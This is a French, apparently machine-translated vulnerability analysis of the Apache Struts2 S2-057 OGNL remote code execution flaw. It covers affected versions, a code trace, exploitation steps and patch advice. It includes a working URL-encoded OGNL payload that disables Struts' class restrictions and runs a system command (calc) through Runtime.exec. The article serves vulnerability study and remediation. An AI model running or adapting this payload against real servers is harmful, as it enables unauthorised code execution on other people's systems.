Maison > Article > Opération et maintenance > Comment effectuer une analyse de vulnérabilité d'exécution de code à distance Apache Struts2 S2-057
Le framework Apache Struts est un projet open source basé sur le framework d'application Web de Java Servlets, JavaBeans et JavaServer Pages (JSP) est basé sur le modèle de conception Model-View-Controller (MVC) et peut). être utilisé pour créer une application Web complexe. Il nous permet de décomposer le code de la logique métier, de la logique de contrôle et de la logique de présentation d'une application, la rendant plus réutilisable et maintenable. Le framework Struts fait partie du projet Jakarta et est géré par Apache Software Foundation.
Tianrongxin Alpha Lab vous apportera une analyse de vulnérabilité d'exécution de code à distance Apache Struts2 S2-057~
Lorsque struts.mapper.alwaysSelectFullNamespace est défini sur true, et la page à onglet du package et l'absence de. la valeur de l'espace de noms dans la page de balise param du résultat, ou l'utilisation de caractères génériques, peut entraîner le contrôle de l'espace de noms. Finalement, l'espace de noms sera introduit dans l'instruction OGNL pour exécution, ce qui entraînera une vulnérabilité d'exécution de code à distance.
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
1. Téléchargement : http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip
Il existe de nombreux types de vulnérabilités. Les vecteurs d'attaque incluent :
Action de redirectionChaînage d'actionsRésultat de publication
En prenant le premier comme exemple, modifiez le contenu du fichier de configuration comme :
3. Détails de la vulnérabilité
dans DefaultActionMapper classe Dans la méthode parseNameAndNamespace.
Une fois l'action exécutée, le programme appellera la méthodeexecute() dans la classe ServletActionRedirectResult pour analyser le résultat de la redirection.
Tout d'abord, lorsque l'espace de noms est vide, appelez invocation.getProxy().getNamespace() pour attribuer la valeur à l'espace de noms variable, puis transmettez l'espace de noms variable dans le constructeur ActionMapping. Ensuite, ActionMapper.getUriFromActionMapping() réorganise la valeur après ActionMapping, génère une chaîne d'URL (y compris l'espace de noms) et l'attribue à la variable tmplocation. Ensuite, la tmplocation avec l'espace de noms est transmise à la méthode setLocation(). Cette méthode attribue la valeur tmpLocation à la variable d'emplacement dans la classe StrutsResultSupport.Ensuite, tracez la méthode super.execute().
Continuez le suivi de super.execute() dans la classe ServletActionResult. Dans la méthodeexecute() de la classe StrutsResultSupport, la variable d'emplacement (avec espace de noms) qui vient d'être attribuée est transmise à la méthode conditionalParse(). Enfin, l'analyse OGNL de l'espace de noms via TextParseUtil.translateVariables() a entraîné une vulnérabilité d'exécution de code à distance.4. Exploitation de la vulnérabilité
1. Visitez l'adresse dont l'url est /${(111+111)}/actionChain1.action.
L'accès déclenche l'expression OGNL, l'url devient /222/register2.action et la vulnérabilité existe.2. charge utile :
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
Cette charge utile s'applique uniquement à la version de la série 2.3.
5. Suggestions de réparation1. Patch officiel
Modifier le fichier de configuration :
Corrigez la valeur de l'espace de noms de la balise package et de la balise param de result, et interdisez l'utilisation de caractères génériques.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!